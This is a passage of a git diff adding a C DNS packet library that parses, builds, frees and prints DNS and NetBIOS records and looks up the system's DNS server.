safe_malloc(16); + buffer_read_next_ipv4_address(buffer, dns->additionals[i].additional->NB.address); + } + else if(dns->additionals[i].type == _DNS_TYPE_NBSTAT) /* 0x0021 */ + { + uint8_t j; + + uint16_t size = buffer_read_next_int16(buffer); /* String size (don't care). */ + dns->additionals[i].additional->NBSTAT.name_count = buffer_read_next_int8(buffer); + dns->additionals[i].additional->NBSTAT.names = (NBSTAT_name_t*) safe_malloc(sizeof(NBSTAT_name_t) * dns->additionals[i].additional->NBSTAT.name_count); + + /* Read the list of names. */ + for(j = 0; j < dns->additionals[i].additional->NBSTAT.name_count; j++) + { + char tmp[16]; + char *end; + + /* Read the full name. */ + buffer_read_next_bytes(buffer, tmp, 16); + + /* The type is the last byte -- read it then terminate the string properly. */ + dns->additionals[i].additional->NBSTAT.names[j].name_type = tmp[15]; + tmp[15] = 0; + + /* Find the end and, if it was found, terminate it. */ + end = strchr(tmp, ' '); + if(end) + *end = 0; + + /* Save this name. */ + dns->additionals[i].additional->NBSTAT.names[j].name = safe_strdup(tmp); + + /* Finally, read the flags. */ + dns->additionals[i].additional->NBSTAT.names[j].name_flags = buffer_read_next_int16(buffer); + } + + /* Read the rest of the data -- for a bit of safety so we don't read too far, do some math to figure out exactly what's left. */ + buffer_read_next_bytes(buffer, dns->additionals[i].additional->NBSTAT.stats, MIN(64, size - 1 - (dns->additionals[i].additional->NBSTAT.name_count * 16))); + } + else + { + uint16_t size; + +/* fprintf(stderr, "WARNING: Don't know how to parse an additional of type 0x%04x (discarding)\n", dns->additionals[i].type);*/ + size = buffer_read_next_int16(buffer); + buffer_consume(buffer, size); + } + } + } + + buffer_destroy(buffer); + + return dns; +} + +void dns_destroy(dns_t *dns) +{ + uint32_t i; + + if(dns->questions) + { + /* Free the names. */ + for(i = 0; i < dns->question_count; i++) + safe_free(dns->questions[i].name); + + /* Free the question. */ + safe_free(dns->questions); + } + + if(dns->answers) + { + /* Free the names. */ + for(i = 0; i < dns->answer_count; i++) + { + safe_free(dns->answers[i].question); + + if(dns->answers[i].type == _DNS_TYPE_A) + { + safe_free(dns->answers[i].answer->A.address); + } + else if(dns->answers[i].type == _DNS_TYPE_NS) + { + safe_free(dns->answers[i].answer->NS.name); + } + else if(dns->answers[i].type == _DNS_TYPE_CNAME) + { + safe_free(dns->answers[i].answer->CNAME.name); + } + else if(dns->answers[i].type == _DNS_TYPE_MX) + { + safe_free(dns->answers[i].answer->MX.name); + } + else if(dns->answers[i].type == _DNS_TYPE_TEXT) + { + safe_free(dns->answers[i].answer->TEXT.text); + } +#ifndef WIN32 + else if(dns->answers[i].type == _DNS_TYPE_AAAA) + { + safe_free(dns->answers[i].answer->AAAA.address); + } +#endif + else if(dns->answers[i].type == _DNS_TYPE_NB) + { + safe_free(dns->answers[i].answer->NB.address); + } + else if(dns->answers[i].type == _DNS_TYPE_NBSTAT) + { + uint8_t j; + for(j = 0; j < dns->answers[i].answer->NBSTAT.name_count; j++) + safe_free(dns->answers[i].answer->NBSTAT.names[j].name); + safe_free(dns->answers[i].answer->NBSTAT.names); + } + safe_free(dns->answers[i].answer); + } + safe_free(dns->answers); + } + + if(dns->authorities) + { + safe_free(dns->authorities); + } + + if(dns->additionals) + { + /* Free the names. */ + for(i = 0; i < dns->additional_count; i++) + { + safe_free(dns->additionals[i].question); + + if(dns->additionals[i].type == _DNS_TYPE_A) + { + safe_free(dns->additionals[i].additional->A.address); + } + else if(dns->additionals[i].type == _DNS_TYPE_NS) + { + safe_free(dns->additionals[i].additional->NS.name); + } + else if(dns->additionals[i].type == _DNS_TYPE_CNAME) + { + safe_free(dns->additionals[i].additional->CNAME.name); + } + else if(dns->additionals[i].type == _DNS_TYPE_MX) + { + safe_free(dns->additionals[i].additional->MX.name); + } + else if(dns->additionals[i].type == _DNS_TYPE_TEXT) + { + safe_free(dns->additionals[i].additional->TEXT.text); + } +#ifndef WIN32 + else if(dns->additionals[i].type == _DNS_TYPE_AAAA) + { + safe_free(dns->additionals[i].additional->AAAA.address); + } +#endif + else if(dns->additionals[i].type == _DNS_TYPE_NB) + { + safe_free(dns->additionals[i].additional->NB.address); + } + else if(dns->additionals[i].type == _DNS_TYPE_NBSTAT) + { + uint8_t j; + for(j = 0; j < dns->additionals[i].additional->NBSTAT.name_count; j++) + safe_free(dns->additionals[i].additional->NBSTAT.names[j].name); + safe_free(dns->additionals[i].additional->NBSTAT.names); + } + safe_free(dns->additionals[i].additional); + } + safe_free(dns->additionals); + } + + safe_free(dns); +} + +void dns_set_trn_id(dns_t *dns, uint16_t trn_id) +{ + dns->trn_id = trn_id; +} + +uint16_t dns_get_trn_id(dns_t *dns) +{ + return dns->trn_id; +} + +void dns_set_flags(dns_t *dns, uint16_t flags) +{ + dns->flags = flags; +} + +uint16_t dns_get_flags(dns_t *dns) +{ + return dns->flags; +} + +void dns_add_question(dns_t *dns, char *name, dns_type_t type, dns_class_t class) +{ + /* Increment the question count. */ + dns->question_count = dns->question_count + 1; + + /* Create or embiggen the questions array (this isn't efficient, but it typically + * isn't called much. */ + if(dns->questions) + dns->questions = (question_t*) safe_realloc(dns->questions, sizeof(question_t) * dns->question_count); + else + dns->questions = (question_t*) safe_malloc(sizeof(question_t)); + + /* Set up the last element. */ + (dns->questions[dns->question_count - 1]).name = safe_strdup(name); + (dns->questions[dns->question_count - 1]).type = type; + (dns->questions[dns->question_count - 1]).class = class; +} + +void dns_add_netbios_question(dns_t *dns, char *name, uint8_t name_type, char *scope, dns_type_t type, dns_class_t class) +{ + /* Create a buffer where we're going to build our complete name. */ + buffer_t *buffer = buffer_create(BO_NETWORK); + char *encoded; + char padding = !strcmp(name, "*") ? '\0' : ' '; + size_t i; + + /* Encode the name. */ + for(i = 0; i < strlen(name); i++) + { + buffer_add_int8(buffer, ((name[i] >> 4) & 0x0F) + 'A'); + buffer_add_int8(buffer, ((name[i] >> 0) & 0x0F) + 'A'); + } + + /* Padding the name. */ + for(; i < 15; i++) + { + buffer_add_int8(buffer, ((padding >> 4) & 0x0F) + 'A'); + buffer_add_int8(buffer, ((padding >> 0) & 0x0F) + 'A'); + } + + /* Type. */ + buffer_add_int8(buffer, ((name_type >> 4) & 0x0F) + 'A'); + buffer_add_int8(buffer, ((name_type >> 0) & 0x0F) + 'A'); + + /* Scope. */ + buffer_add_int8(buffer, '.'); + if(scope) + buffer_add_string(buffer, scope); + + /* Null terminator. */ + buffer_add_int8(buffer, 0); + + /* Add the question as usual. */ + encoded = (char*)buffer_create_string_and_destroy(buffer, NULL); + dns_add_question(dns, encoded, type, class); + safe_free(encoded); +} + +static void dns_add_answer(dns_t *dns, char *question, dns_type_t type, dns_class_t class, uint32_t ttl, answer_types_t *answer) +{ + /* Increment the answer count. */ + dns->answer_count = dns->answer_count + 1; + + /* Create or embiggen the answers array (this isn't efficient, but it typically + * isn't called much. */ + if(dns->answers) + dns->answers = (answer_t*) safe_realloc(dns->answers, sizeof(answer_t) * dns->answer_count); + else + dns->answers = (answer_t*) safe_malloc(sizeof(answer_t)); + + /* Set up the last element. */ + (dns->answers[dns->answer_count - 1]).question = safe_strdup(question); + (dns->answers[dns->answer_count - 1]).type = type; + (dns->answers[dns->answer_count - 1]).class = class; + (dns->answers[dns->answer_count - 1]).ttl = ttl; + (dns->answers[dns->answer_count - 1]).answer = answer; + +} + +void dns_add_answer_A(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address) +{ + answer_types_t *answer = safe_malloc(sizeof(answer_types_t)); + answer->A.address = safe_strdup(address); + dns_add_answer(dns, question, _DNS_TYPE_A, class, ttl, answer); +} + +void dns_add_answer_NS(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name) +{ + answer_types_t *answer = safe_malloc(sizeof(answer_types_t)); + answer->NS.name = safe_strdup(name); + dns_add_answer(dns, question, _DNS_TYPE_NS, class, ttl, answer); +} + +void dns_add_answer_CNAME(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name) +{ + answer_types_t *answer = safe_malloc(sizeof(answer_types_t)); + answer->CNAME.name = safe_strdup(name); + dns_add_answer(dns, question, _DNS_TYPE_CNAME, class, ttl, answer); +} + +void dns_add_answer_MX(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint16_t preference, char *name) +{ + answer_types_t *answer = safe_malloc(sizeof(answer_types_t)); + answer->MX.preference = preference; + answer->MX.name = safe_strdup(name); + dns_add_answer(dns, question, _DNS_TYPE_MX, class, ttl, answer); +} + +void dns_add_answer_TEXT(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint8_t *text, uint8_t length) +{ + answer_types_t *answer = safe_malloc(sizeof(answer_types_t)); + uint8_t *text_copy = safe_malloc(length); + memcpy(text_copy, text, length); + answer->TEXT.text = text_copy; + answer->TEXT.length = length; + dns_add_answer(dns, question, _DNS_TYPE_TEXT, class, ttl, answer); +} + +#ifndef WIN32 +void dns_add_answer_AAAA(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address) +{ + answer_types_t *answer = safe_malloc(sizeof(answer_types_t)); + answer->AAAA.address = safe_strdup(address); + dns_add_answer(dns, question, _DNS_TYPE_AAAA, class, ttl, answer); +} +#endif + +void dns_add_answer_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, dns_class_t class, uint32_t ttl, uint16_t flags, char *address) +{ + /* Create a buffer where we're going to build our complete question. */ + buffer_t *buffer = buffer_create(BO_NETWORK); + char *encoded; + char padding = !strcmp(question, "*") ? '\0' : ' '; + size_t i; + answer_types_t *answer; + + /* Encode the question. */ + for(i = 0; i < strlen(question); i++) + { + buffer_add_int8(buffer, ((question[i] >> 4) & 0x0F) + 'A'); + buffer_add_int8(buffer, ((question[i] >> 0) & 0x0F) + 'A'); + } + + /* Padding the question. */ + for(; i < 15; i++) + { + buffer_add_int8(buffer, ((padding >> 4) & 0x0F) + 'A'); + buffer_add_int8(buffer, ((padding >> 0) & 0x0F) + 'A'); + } + + /* Type. */ + buffer_add_int8(buffer, ((question_type >> 4) & 0x0F) + 'A'); + buffer_add_int8(buffer, ((question_type >> 0) & 0x0F) + 'A'); + + /* Scope. */ + buffer_add_int8(buffer, '.'); + if(scope) + buffer_add_string(buffer, scope); + + /* Null terminator. */ + buffer_add_int8(buffer, 0); + + /* Add the question as usual. */ + encoded = (char*)buffer_create_string_and_destroy(buffer, NULL); + + answer = safe_malloc(sizeof(answer_types_t)); + answer->NB.flags = flags; + answer->NB.address = safe_strdup(address); + dns_add_answer(dns, encoded, _DNS_TYPE_NB, class, ttl, answer); + + safe_free(encoded); +} + +/* This is pretty much identical to dns_add_answer. */ +static void dns_add_additional(dns_t *dns, char *question, dns_type_t type, dns_class_t class, uint32_t ttl, additional_types_t *additional) +{ + /* Increment the additional count. */ + dns->additional_count = dns->additional_count + 1; + + /* Create or embiggen the additionals array (this isn't efficient, but it typically + * isn't called much. */ + if(dns->additionals) + dns->additionals = (additional_t*) safe_realloc(dns->additionals, sizeof(additional_t) * dns->additional_count); + else + dns->additionals = (additional_t*) safe_malloc(sizeof(additional_t)); + + /* Set up the last element. */ + (dns->additionals[dns->additional_count - 1]).question = safe_strdup(question); + (dns->additionals[dns->additional_count - 1]).type = type; + (dns->additionals[dns->additional_count - 1]).class = class; + (dns->additionals[dns->additional_count - 1]).ttl = ttl; + (dns->additionals[dns->additional_count - 1]).additional = additional; +} + +void dns_add_additional_A(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address) +{ + additional_types_t *additional = safe_malloc(sizeof(additional_types_t)); + additional->A.address = safe_strdup(address); + dns_add_additional(dns, question, _DNS_TYPE_A, class, ttl, additional); +} + +void dns_add_additional_NS(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name) +{ + additional_types_t *additional = safe_malloc(sizeof(additional_types_t)); + additional->NS.name = safe_strdup(name); + dns_add_additional(dns, question, _DNS_TYPE_NS, class, ttl, additional); +} + +void dns_add_additional_CNAME(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *name) +{ + additional_types_t *additional = safe_malloc(sizeof(additional_types_t)); + additional->CNAME.name = safe_strdup(name); + dns_add_additional(dns, question, _DNS_TYPE_CNAME, class, ttl, additional); +} + +void dns_add_additional_MX(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint16_t preference, char *name) +{ + additional_types_t *additional = safe_malloc(sizeof(additional_types_t)); + additional->MX.preference = preference; + additional->MX.name = safe_strdup(name); + dns_add_additional(dns, question, _DNS_TYPE_MX, class, ttl, additional); +} + +void dns_add_additional_TEXT(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, uint8_t *text, uint8_t length) +{ + additional_types_t *additional = safe_malloc(sizeof(additional_types_t)); + uint8_t *text_copy = safe_malloc(length); + memcpy(text_copy, text, length); + additional->TEXT.text = text_copy; + additional->TEXT.length = length; + dns_add_additional(dns, question, _DNS_TYPE_TEXT, class, ttl, additional); +} + +#ifndef WIN32 +void dns_add_additional_AAAA(dns_t *dns, char *question, dns_class_t class, uint32_t ttl, char *address) +{ + additional_types_t *additional = safe_malloc(sizeof(additional_types_t)); + additional->AAAA.address = safe_strdup(address); + dns_add_additional(dns, question, _DNS_TYPE_AAAA, class, ttl, additional); +} +#endif + +void dns_add_additional_NB(dns_t *dns, char *question, uint8_t question_type, char *scope, dns_class_t class, uint32_t ttl, uint16_t flags, char *address) +{ + /* Create a buffer where we're going to build our complete question. */ + buffer_t *buffer = buffer_create(BO_NETWORK); + char *encoded; + char padding = !strcmp(question, "*") ? '\0' : ' '; + size_t i; + additional_types_t *additional; + + /* Encode the question. */ + for(i = 0; i < strlen(question); i++) + { + buffer_add_int8(buffer, ((question[i] >> 4) & 0x0F) + 'A'); + buffer_add_int8(buffer, ((question[i] >> 0) & 0x0F) + 'A'); + } + + /* Padding the question. */ + for(; i < 15; i++) + { + buffer_add_int8(buffer, ((padding >> 4) & 0x0F) + 'A'); + buffer_add_int8(buffer, ((padding >> 0) & 0x0F) + 'A'); + } + + /* Type. */ + buffer_add_int8(buffer, ((question_type >> 4) & 0x0F) + 'A'); + buffer_add_int8(buffer, ((question_type >> 0) & 0x0F) + 'A'); + + /* Scope. */ + buffer_add_int8(buffer, '.'); + if(scope) + buffer_add_string(buffer, scope); + + /* Null terminator. */ + buffer_add_int8(buffer, 0); + + /* Add the question as usual. */ + encoded = (char*)buffer_create_string_and_destroy(buffer, NULL); + + additional = safe_malloc(sizeof(additional_types_t)); + additional->NB.flags = flags; + additional->NB.address = safe_strdup(address); + dns_add_additional(dns, encoded, _DNS_TYPE_NB, class, ttl, additional); + + safe_free(encoded); +} + +uint8_t *dns_to_packet(dns_t *dns, size_t *length) +{ + uint16_t i; + uint16_t flags; + + /* Create the buffer. */ + buffer_t *buffer = buffer_create(BO_NETWORK); + + /* Validate and format the flags: + * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ + * | 1 1 1 1 1 1| + * | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5| + * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ + * |QR| Opcode |AA|TC|RD|RA| Z | RCODE | + * +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ + */ + assert((dns->opcode & 0x7800) == dns->opcode); + assert((dns->rcode & 0x000F) == dns->rcode); + assert((dns->flags & 0x8780) == dns->flags); + + flags = dns->opcode | dns->flags | dns->rcode; + + /* Marshall the base stuff. */ + buffer_add_int16(buffer, dns->trn_id); + buffer_add_int16(buffer, flags); + buffer_add_int16(buffer, dns->question_count); + buffer_add_int16(buffer, dns->answer_count); + buffer_add_int16(buffer, dns->authority_count); + buffer_add_int16(buffer, dns->additional_count); + + /* Marshall the other fields. */ + for(i = 0; i < dns->question_count; i++) + { + buffer_add_dns_name(buffer, (char*)dns->questions[i].name); + buffer_add_int16(buffer, dns->questions[i].type); + buffer_add_int16(buffer, dns->questions[i].class); + } + + for(i = 0; i < dns->answer_count; i++) + { + buffer_add_dns_name(buffer, (char*)dns->answers[i].question); /* Pointer to the name. */ +/* buffer_add_int16(buffer, 0xc00c);*/ + buffer_add_int16(buffer, dns->answers[i].type); /* Type. */ + buffer_add_int16(buffer, dns->answers[i].class); /* Class. */ + buffer_add_int32(buffer, dns->answers[i].ttl); /* Time to live. */ + + if(dns->answers[i].type == _DNS_TYPE_A) + { + buffer_add_int16(buffer, 4); /* Length. */ + buffer_add_ipv4_address(buffer, dns->answers[i].answer->A.address); + } + else if(dns->answers[i].type == _DNS_TYPE_NS) + { + buffer_add_int16(buffer, strlen(dns->answers[i].answer->NS.name) + 2); + buffer_add_dns_name(buffer, dns->answers[i].answer->NS.name); + } + else if(dns->answers[i].type == _DNS_TYPE_CNAME) + { + buffer_add_int16(buffer, strlen(dns->answers[i].answer->CNAME.name) + 2); + buffer_add_dns_name(buffer, dns->answers[i].answer->CNAME.name); + } + else if(dns->answers[i].type == _DNS_TYPE_MX) + { + buffer_add_int16(buffer, strlen(dns->answers[i].answer->MX.name) + 2 + 2); + buffer_add_int16(buffer, dns->answers[i].answer->MX.preference); + buffer_add_dns_name(buffer, dns->answers[i].answer->MX.name); + } + else if(dns->answers[i].type == _DNS_TYPE_TEXT) + { + buffer_add_int16(buffer, dns->answers[i].answer->TEXT.length + 1); + buffer_add_int8(buffer, dns->answers[i].answer->TEXT.length); + buffer_add_bytes(buffer, dns->answers[i].answer->TEXT.text, dns->answers[i].answer->TEXT.length); + } +#ifndef WIN32 + else if(dns->answers[i].type == _DNS_TYPE_AAAA) + { + buffer_add_int16(buffer, 16); + buffer_add_ipv6_address(buffer, dns->answers[i].answer->AAAA.address); + } +#endif + else if(dns->answers[i].type == _DNS_TYPE_NB) + { + buffer_add_int16(buffer, 6); + buffer_add_int16(buffer, dns->answers[i].answer->NB.flags); + buffer_add_ipv4_address(buffer, dns->answers[i].answer->NB.address); + } + else + { + fprintf(stderr, "WARNING: Don't know how to build answer type 0x%02x; skipping!\n", dns->answers[i].type); + } + } + for(i = 0; i < dns->authority_count; i++) + { + /* TODO */ + } + + + for(i = 0; i < dns->additional_count; i++) + { + buffer_add_dns_name(buffer, (char*)dns->additionals[i].question); /* Pointer to the name. */ +/* buffer_add_int16(buffer, 0xc00c);*/ + buffer_add_int16(buffer, dns->additionals[i].type); /* Type. */ + buffer_add_int16(buffer, dns->additionals[i].class); /* Class. */ + buffer_add_int32(buffer, dns->additionals[i].ttl); /* Time to live. */ + + if(dns->additionals[i].type == _DNS_TYPE_A) + { + buffer_add_int16(buffer, 4); /* Length. */ + buffer_add_ipv4_address(buffer, dns->additionals[i].additional->A.address); + } + else if(dns->additionals[i].type == _DNS_TYPE_NS) + { + buffer_add_int16(buffer, strlen(dns->additionals[i].additional->NS.name) + 2); + buffer_add_dns_name(buffer, dns->additionals[i].additional->NS.name); + } + else if(dns->additionals[i].type == _DNS_TYPE_CNAME) + { + buffer_add_int16(buffer, strlen(dns->additionals[i].additional->CNAME.name) + 2); + buffer_add_dns_name(buffer, dns->additionals[i].additional->CNAME.name); + } + else if(dns->additionals[i].type == _DNS_TYPE_MX) + { + buffer_add_int16(buffer, strlen(dns->additionals[i].additional->MX.name) + 2 + 2); + buffer_add_int16(buffer, dns->additionals[i].additional->MX.preference); + buffer_add_dns_name(buffer, dns->additionals[i].additional->MX.name); + } + else if(dns->additionals[i].type == _DNS_TYPE_TEXT) + { + buffer_add_int16(buffer, dns->additionals[i].additional->TEXT.length + 1); + buffer_add_int8(buffer, dns->additionals[i].additional->TEXT.length); + buffer_add_bytes(buffer, dns->additionals[i].additional->TEXT.text, dns->additionals[i].additional->TEXT.length); + } +#ifndef WIN32 + else if(dns->additionals[i].type == _DNS_TYPE_AAAA) + { + buffer_add_int16(buffer, 16); + buffer_add_ipv6_address(buffer, dns->additionals[i].additional->AAAA.address); + } +#endif + else if(dns->additionals[i].type == _DNS_TYPE_NB) + { + buffer_add_int16(buffer, 6); + buffer_add_int16(buffer, dns->additionals[i].additional->NB.flags); + buffer_add_ipv4_address(buffer, dns->additionals[i].additional->NB.address); + } + else + { + fprintf(stderr, "WARNING: Don't know how to build additional type 0x%02x; skipping!\n", dns->additionals[i].type); + } + } + + return buffer_create_string_and_destroy(buffer, length); +} + +void dns_print(dns_t *dns) +{ + uint16_t i; + fprintf(stderr, "trn_id: 0x%04x\n", dns->trn_id); + fprintf(stderr, "flags: 0x%04x\n", dns->flags); + fprintf(stderr, "rcode: 0x%04x\n", dns->rcode); + for(i = 0; i < dns->question_count; i++) + fprintf(stderr, "question: %s 0x%04x 0x%04x\n", dns->questions[i].name, dns->questions[i].type, dns->questions[i].class); + + for(i = 0; i < dns->answer_count; i++) + { + if(dns->answers[i].type == _DNS_TYPE_A) + fprintf(stderr, "answer: %s => %s A 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->A.address, dns->answers[i].class, dns->answers[i].ttl); + else if(dns->answers[i].type == _DNS_TYPE_NS) + fprintf(stderr, "answer: %s => %s NS 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->NS.name, dns->answers[i].class, dns->answers[i].ttl); + else if(dns->answers[i].type == _DNS_TYPE_CNAME) + fprintf(stderr, "answer: %s => %s CNAME 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->CNAME.name, dns->answers[i].class, dns->answers[i].ttl); + else if(dns->answers[i].type == _DNS_TYPE_MX) + fprintf(stderr, "answer: %s => %s (%d) MX 0x%04x 0x%08x\n", dns->answers[i].question, dns->answers[i].answer->MX.name, dns->answers[i].answer->MX.preference, dns->answers[i].class, dns->answers[i].ttl); + else if(dns->answers[i].type == _DNS_TYPE_TEXT) + fprintf(stderr, "answer: %s => %s TEXT 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->TEXT.text, dns->answers[i].class, dns->answers[i].ttl); +#ifndef WIN32 + else if(dns->answers[i].type == _DNS_TYPE_AAAA) + fprintf(stderr, "answer: %s => %s AAAA 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->AAAA.address, dns->answers[i].class, dns->answers[i].ttl); +#endif + else if(dns->answers[i].type == _DNS_TYPE_NB) + fprintf(stderr, "answer: %s => %s (0x%04x) NB 0x%04x %08x\n", dns->answers[i].question, dns->answers[i].answer->NB.address, dns->answers[i].answer->NB.flags, dns->answers[i].class, dns->answers[i].ttl); + else if(dns->answers[i].type == _DNS_TYPE_NBSTAT) + { + uint8_t j; + NBSTAT_answer_t answer = dns->answers[i].answer->NBSTAT; + + fprintf(stderr, "answer: %s => %d names (%02x:%02x:%02x:%02x:%02x:%02x)\n", dns->answers[i].question, answer.name_count, answer.stats[0], answer.stats[1], answer.stats[2], answer.stats[3], answer.stats[4], answer.stats[5]); + + for(j = 0; j < answer.name_count; j++) + fprintf(stderr, " %s:%02x (%04x)\n", answer.names[j].name, answer.names[j].name_type, answer.names[j].name_flags); + } + } + + fprintf(stderr, "Authorities: %d\n", dns->authority_count); + + for(i = 0; i < dns->additional_count; i++) + { + if(dns->additionals[i].type == _DNS_TYPE_A) + fprintf(stderr, "additional: %s => %s A 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->A.address, dns->additionals[i].class, dns->additionals[i].ttl); + else if(dns->additionals[i].type == _DNS_TYPE_NS) + fprintf(stderr, "additional: %s => %s NS 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->NS.name, dns->additionals[i].class, dns->additionals[i].ttl); + else if(dns->additionals[i].type == _DNS_TYPE_CNAME) + fprintf(stderr, "additional: %s => %s CNAME 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->CNAME.name, dns->additionals[i].class, dns->additionals[i].ttl); + else if(dns->additionals[i].type == _DNS_TYPE_MX) + fprintf(stderr, "additional: %s => %s (%d) MX 0x%04x 0x%08x\n", dns->additionals[i].question, dns->additionals[i].additional->MX.name, dns->additionals[i].additional->MX.preference, dns->additionals[i].class, dns->additionals[i].ttl); + else if(dns->additionals[i].type == _DNS_TYPE_TEXT) + fprintf(stderr, "additional: %s => %s TEXT 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->TEXT.text, dns->additionals[i].class, dns->additionals[i].ttl); +#ifndef WIN32 + else if(dns->additionals[i].type == _DNS_TYPE_AAAA) + fprintf(stderr, "additional: %s => %s AAAA 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->AAAA.address, dns->additionals[i].class, dns->additionals[i].ttl); +#endif + else if(dns->additionals[i].type == _DNS_TYPE_NB) + fprintf(stderr, "additional: %s => %s (0x%04x) NB 0x%04x %08x\n", dns->additionals[i].question, dns->additionals[i].additional->NB.address, dns->additionals[i].additional->NB.flags, dns->additionals[i].class, dns->additionals[i].ttl); + else if(dns->additionals[i].type == _DNS_TYPE_NBSTAT) + { + uint8_t j; + NBSTAT_additional_t additional = dns->additionals[i].additional->NBSTAT; + + fprintf(stderr, "additional: %s => %d names (%02x:%02x:%02x:%02x:%02x:%02x)\n", dns->additionals[i].question, additional.name_count, additional.stats[0], additional.stats[1], additional.stats[2], additional.stats[3], additional.stats[4], additional.stats[5]); + + for(j = 0; j < additional.name_count; j++) + fprintf(stderr, " %s:%02x (%04x)\n", additional.names[j].name, additional.names[j].name_type, additional.names[j].name_flags); + } + } +} + +dns_t *dns_create_error(uint16_t trn_id, question_t question) +{ + /* Create the DNS packet. */ + dns_t *dns = dns_create(_DNS_OPCODE_QUERY, _DNS_FLAG_QR, _DNS_RCODE_NAME_ERROR); + dns->trn_id = trn_id; + + /* Echo back the question. */ + dns_add_question(dns, question.name, question.type, question.class); + + return dns; +} + +uint8_t *dns_create_error_string(uint16_t trn_id, question_t question, size_t *length) +{ + /* Create the packet. */ + dns_t *dns = dns_create_error(trn_id, question); + + /* Convert it to a string. */ + uint8_t *packet = dns_to_packet(dns, length); + dns_destroy(dns); + + return packet; +} + +/* Gets the first system dns server. */ +char *dns_get_system() +{ +#ifdef WIN32 + DNS_STATUS error; + + DWORD address; + + char *straddress = safe_malloc(16); + + /* Set the initial length to something we know is going to be wrong. */ + DWORD length = sizeof(IP4_ARRAY); + IP4_ARRAY *servers = safe_malloc(length); + + /* Call the function, which will inevitably return an error but will also tell us how much memory we need. */ + error = DnsQueryConfig(DnsConfigDnsServerList, 0, NULL, NULL, servers, &length); + if(error == ERROR_MORE_DATA) + servers = safe_realloc(servers, length); + + /* Nowe that we have the right length, this call should succeed. */ + error = DnsQueryConfig(DnsConfigDnsServerList, 0, NULL, NULL, servers, &length); + + /* Check for an error. */ + if(error) + { + fprintf(stderr, "Couldn't get system DNS server: %d\n", error); + fprintf(stderr, "You can use --dns to set a custom dns server.\n"); + exit(1); + } + + /* Check if no servers were returned. */ + if(servers->AddrCount == 0) + { + fprintf(stderr, "Couldn't find any system dns servers"); + fprintf(stderr, "You can use --dns to set a custom dns server.\n"); + exit(1); + } + + /* Take the first DNS server. */ + address = servers->AddrArray[0]; + + /* Get rid of the array (we don't need it anymore). */ + safe_free(servers); + + /* Convert the address to a string representation. */ +#ifdef WIN32 + sprintf_s(straddress, 16, "%d.%d.%d.%d", (address >> 0) & 0x000000FF, + (address >> 8) & 0x000000FF, + (address >> 16) & 0x000000FF, + (address >> 24) & 0x000000FF); +#else + sprintf(straddress, "%d.%d.%d.%d", (address >> 0) & 0x000000FF, + (address >> 8) & 0x000000FF, + (address >> 16) & 0x000000FF, + (address >> 24) & 0x000000FF); +#endif + + return straddress; +#else + FILE *file = fopen("/etc/resolv.conf", "r"); + char buffer[1024]; + + if(!file) + return NULL; + + while(fgets(buffer, 1024, file)) + { + if(strstr(buffer, "nameserver") == buffer) + { + char *address; + char *end; + + /* Remove the first part of the string. */ + address = buffer + strlen("nameserver"); + + /* Find the first character in the address. Note: the 'int' typecast is to fix a warning on cygwin. */ + while(address[0] && isspace((int)address[0])) + address++; + + /* Make sure we didn't hit the end of the string. */ + if(!address[0]) + { + fprintf(stderr, "Invalid record in /etc/resolv.conf: %s\n", buffer); + continue; + } + + /* Find the end of the string. Note: The 'int' typecast is to remove a warning on cygwin. */ + end = address; + while(end[0] && !isspace((int)end[0])) + end++; + + /* If we hit the end of the string, we don't have to do anything; otherwise, terminate it. */ + if(end[0]) + end[0] = '\0'; + + + /* In theory, we should now have the address of the first entry in resolv.conf. */ + return safe_strdup(address); + } + } + + return NULL; +#endif +} + +int dns_is_error(dns_t *dns) +{ + return dns->rcode != 0; +} diff --git a/client/libs/dns.h b/client/libs/dns.h new file mode 100644 index 0000000..6c3790a --- /dev/null +++ b/client/libs/dns.h @@ -0,0 +1,427 @@ +/* dns.c + * By Ron Bowes + * Created December, 2009 + * + * (See LICENSE.md) + * + * This module implements a reasonably functional DNS library that can build or + * parse DNS packets in a platform-agnostic way. It implements a number of + * record types (A, NS, CNAME, MX, TXT, and AAAA), and can add and parse + * questions or answers. + * + * On Windows, due to IPv6 parsing being unavailable on older systems, I + * disable AAAA records entirely. + * + * In the future I may opt to add more record types and stronger parsing, but + * for now this was enough. + */ + +#ifndef __DNS_H__ +#define __DNS_H__ + +#include "types.h" + +/* Define a list of dns types. The initial '_' in all the names here is because Windows + * defines some of these, and differently than how we want them on occasion. */ +typedef enum +{ + /* RFC 1034/1035 */ + _DNS_TYPE_A = 0x0001, + _DNS_TYPE_NS = 0x0002, + _DNS_TYPE_MD = 0x0003, + _DNS_TYPE_MF = 0x0004, + _DNS_TYPE_CNAME = 0x0005, + _DNS_TYPE_SOA = 0x0006, + _DNS_TYPE_MB = 0x0007, + _DNS_TYPE_MG = 0x0008, + _DNS_TYPE_MR = 0x0009, + _DNS_TYPE_NULL = 0x000a, + _DNS_TYPE_WKS = 0x000b, + _DNS_TYPE_PTR = 0x000c, + _DNS_TYPE_HINFO = 0x000d, + _DNS_TYPE_MINFO = 0x000e, + _DNS_TYPE_MX = 0x000f, + 